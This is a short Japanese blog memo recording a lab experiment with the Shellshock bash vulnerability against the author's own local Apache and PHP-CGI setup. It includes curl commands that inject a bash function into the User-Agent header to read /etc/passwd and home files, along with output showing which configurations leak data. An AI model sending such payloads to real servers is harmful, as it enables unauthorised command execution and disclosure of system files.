実験メモ
Fri Oct 3 20:30:09 JST 2014 (modified: Sun Oct 1 10:50:27 JST 2017)
views: 2487, keywords:CLI,こっそり置いておく この記事は最終更新日が8年以上前のものです。
何の実験かは・・・あれですね・・・。
こういうファイルを準備。
[root@localhost httpd]# cat /var/www/html/index.php
#!/usr/bin/env php
<?php
system('date');
?>httpd.confのOptionsのところにExecCGIを追加し、 下にAddHandlerを書く。
Options Indexes FollowSymLinks ExecCGI
AddHandler cgi-script phpホームの下にファイルを準備
[ueda@localhost ~]$ ls -l mysecret
-rw-rw-r--. 1 ueda ueda 13 10月 3 20:07 2014 mysecret
[ueda@localhost ~]$ cat mysecret
私の秘密外側からcurlでつっつく。ポートフォワードでhttp://localhost:8888からつっつく。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /home/ueda/*' http://localhost:8888/index.phpログを確認。パーミッションで守られている。
[root@localhost httpd]# tail error_log
...
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /bin/cat:
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /home/ueda/*
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] : Permission denied
[Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] もう一度突っつく。別のものを。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ueda:x:500:500::/home/ueda:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin守られていない・・・。
今度はhttpd.confから追記部分をもう一度削り、index.phpを次のように書き換える。
[root@localhost httpd]# cat /var/www/html/index.php
<?php
system('date');
?>もう一度突っつく。
uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
Fri Oct 3 20:27:38 JST 2014大丈夫。
もう一度CGIモードで。こんなコード。
[root@localhost httpd]# cat /var/www/html/index.php
#!/usr/bin/php
<?php
print("hoge\\n");
?>uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
hoge大丈夫。
これは・・・
[root@localhost httpd]# cat /var/www/html/index.php
#!/usr/bin/php
<?php
system("date");
?>ダメ。
uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ueda:x:500:500::/home/ueda:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
ノート
Tweet